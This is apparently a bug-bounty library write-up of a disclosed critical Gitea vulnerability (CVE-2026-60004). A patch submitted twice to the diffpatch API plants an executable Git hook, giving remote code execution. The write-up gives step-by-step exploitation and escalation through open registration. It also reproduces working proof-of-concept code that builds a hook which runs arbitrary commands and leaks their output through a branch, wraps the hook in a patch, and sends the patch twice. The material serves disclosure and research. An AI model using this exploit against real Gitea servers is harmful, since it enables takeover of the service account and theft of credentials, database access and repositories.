# Gitea: Remote Code Execution via diffpatch Git Hook Installation

Gitea's diffpatch endpoint applies patches in a bare temp clone, so a twice-submitted add/add patch writes hooks/post-index-change and executes shell commands as the Gitea user.

- Payout: Research
- Severity: critical
- Program: Gitea
- Found by: NightRang3r
- Disclosed: 2026-09-08
- CVE: CVE-2026-60004
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-rcr6-4jqh-j84m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rcr6-4jqh-j84m
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:go technique:chained technique:source-review vuln:command-injection vuln:rce

**Target:** Gitea diffpatch API endpoint (services/repository/files/patch.go) using git apply --index --recount --cached --binary -3
**Root cause:** git apply runs with --cached in a bare temporary clone where the repo root is $GIT_DIR; the -3 three-way fallback on an add/add collision checks out the indexed path to disk despite --cached, so a patch entry named hooks/post-index-change lands as a live executable Git hook.
**Steps:**
1. Authenticate to Gitea and create an initialized private repo (auto_init, default branch main).
2. Build a patch adding `hooks/post-index-change` with `new file mode 100755` whose content is a shell script running the target command and storing output via `git hash-object -w`/`mktree`/`commit-tree`/`update-ref` into the origin objects dir.
3. POST the same patch body twice to `/api/v1/repos/{owner}/{repo}/diffpatch` with `{"content":...,"message":...,"branch":"main","new_branch":"main"}` to trigger the add/add collision.
4. Git's -3 fallback checks out the hook; git invokes `hooks/post-index-change` while writing the index, executing the command as the Gitea OS user.
5. Fetch the leak branch over authenticated smart HTTP (`git fetch <base>/<owner>/<repo>.git refs/heads/<leak_ref>`) and `git show FETCH_HEAD:output` to read stdout/stderr/exit status.
**How found:** Noticed diffpatch applies patches with `git apply --index --recount --cached --binary -3` inside a shared bare temp clone; reasoned that a three-way fallback on an add/add collision could check out an indexed path despite --cached, and that in a bare clone the repo root equals $GIT_DIR so a `hooks/` path becomes an executable hook.
**Exploitation:** Attacker needs write access to a repo (or open registration to self-provision one). Two identical diffpatch submissions create an add/add conflict; the -3 fallback materializes the executable hook in the bare clone's $GIT_DIR/hooks, which Git runs during index write. The hook captures command output into Git objects and a branch, exfiltrated via authenticated smart HTTP with no outbound connection needed.
**Escalation:** With open registration, an unauthenticated visitor registers, creates a repo, and reaches RCE as the Gitea service account, exposing app.ini, env secrets, mounted repos, DB and OAuth credentials.
**Insight:** When a service runs `git apply --index --recount --cached --binary -3` in a bare repo, an add/add collision forces a worktree checkout into $GIT_DIR — so any patch path under `hooks/` (or config, objects/info) becomes attacker-controlled repo state; test double-submission of the same patch to trigger the fallback.

## Proof of concept (copied exactly from the original report)

**Hook payload that writes command output to a branch**

```
def build_hook(command: str, leak_ref: str) -> bytes:
    qcmd = shlex.quote(command)
    qref = shlex.quote(f"refs/heads/{leak_ref}")
    return (
        "#!/bin/sh\n"
        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
        'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
        'case "$origin_objects" in\n'
        '  /*) ;;\n'
        '  *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
        "esac\n"
        'origin_git=${origin_objects%/objects}\n'
        '[ "$origin_git" != "$origin_objects" ] || exit 3\n'
        f"output_blob=$({{ /bin/sh -c {qcmd}; "
        'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
        'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
        'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
        'git --git-dir="$origin_git" mktree) || exit 5\n'
        'commit=$(printf "command output\\n" | '
        "GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid "
        "GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid "
        'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
        f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
        "exit 0\n"
    ).encode()

def build_patch(hook: bytes) -> str:
```

**Patch creating executable hooks/post-index-change**

```
def build_patch(hook: bytes) -> str:
    lc  = hook.count(b"\n")
    hdr = (
        "diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
        "new file mode 100755\n"
        f"index {'0'*40}..{blob_oid(hook)}\n"
        "--- /dev/null\n"
        "+++ b/hooks/post-index-change\n"
        f"@@ -0,0 +1,{lc} @@\n"
    ).encode()
    return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()
```

**Submitting same diffpatch payload twice**

```
for cycle in (1, 2):
        log_star(f"delivering payload {cycle}/2...")
        sc, resp = client.api("POST", ep, body)
        try:
            commit = resp["commit"]["sha"]
        except (KeyError, TypeError) as exc:
            log_err(f"payload {cycle}/2 rejected")
            raise PocError(f"cycle {cycle} no commit") from exc
        if sc != 201:
            log_err(f"payload {cycle}/2 failed")
            raise PocError(f"cycle {cycle} failed")
        commits.append(commit)
        log_ok(f"payload {cycle}/2 accepted  commit={commit[:16]}")
```

